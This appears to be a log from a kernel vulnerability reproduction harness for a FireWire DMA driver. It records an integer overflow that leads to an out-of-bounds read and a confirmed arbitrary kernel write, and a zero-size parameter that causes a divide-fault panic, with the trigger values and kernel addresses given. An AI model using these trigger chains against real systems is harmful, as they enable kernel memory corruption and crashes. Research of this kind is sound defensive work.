df229x/regression: legit {4,8,2048}: STSTREAM=0 fw_write=0 -- normal use intact
df2298: int-overflow n=nchunk*npacket -> zero-length seg[] -> OOB seg[0] read -> controlled write test
df2298/a1: STSTREAM OK (err=0): it=0xfffff801188ff080 am=0xfffff8008d485da0 nseg=0 ssize=4096 esize=512 bnchunk=65536 bnpacket=65536 bulkxfer=0xfffff80118a20000
df2298/a1: am (32-byte kmalloc, nseg=0) -> OOB am->seg[0].v_addr = 0xfffff801187ea000 (read at am+40); groom target = 0xfffff801187ea000
df2298/a1: firing production fw_write (2048 bytes of iso data at the OOB-derived pointer)...
df2298/a1: fw_write err=0; victim page now: "" / "DF2298-OOB-WRITE"
df2298/a1: CONTROLLED WRITE CONFIRMED: attacker iso payload (header + 2044 bytes, pattern 'DF2298-OOB-WRITE!') landed at the groom-chosen kernel address 0xfffff801187ea000 via the OOB-read seg[0].v_addr
df229x: DF-2298 REPRODUCED: nchunk*npacket=0x10000*0x10000 wrapped to n=0 -> fwdma_malloc_multiseg returned a 0-seg 32-byte fwdma_alloc_multi; fwdma_v_addr (fwdma.h:65) OOB-read seg[0].v_addr at am+40 (= groomed 0xfffff801187ea000); production fw_write uiomove()'d 2048 attacker bytes there -- OOB-read-to-arbitrary-write
df229x/t3: FW_SSTBUF{tx: nchunk=1 npacket=1 psize=0x0} + FW_STSTREAM -> fwdev_allocbuf (fwdev.c:107-109) -> fwdma_malloc_multiseg(esize=(int)roundup2(0x0,4))
df229x/t3: firing -- baseline expectation: Fatal trap 17 (divide error) in fwdma_malloc_multiseg
df229x/t3: SSTBUF err=0


Fatal trap 18: integer divide fault while in kernel mode
cpuid = 1; lapic id = 1
instruction pointer	= 0x8:0xffffffff82603f59
stack pointer	        = 0x10:0xfffff8011808b5d8
frame pointer	        = 0x10:0xfffff8011808b618
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1223
current thread          = pri 6 
kernel: type 18 trap, code=0

CPU1 stopping CPUs: 0x0000003d
 stopped
Stopped at      dfw_dma_malloc_multiseg+0x139:  idivl   %esi,%eax
db>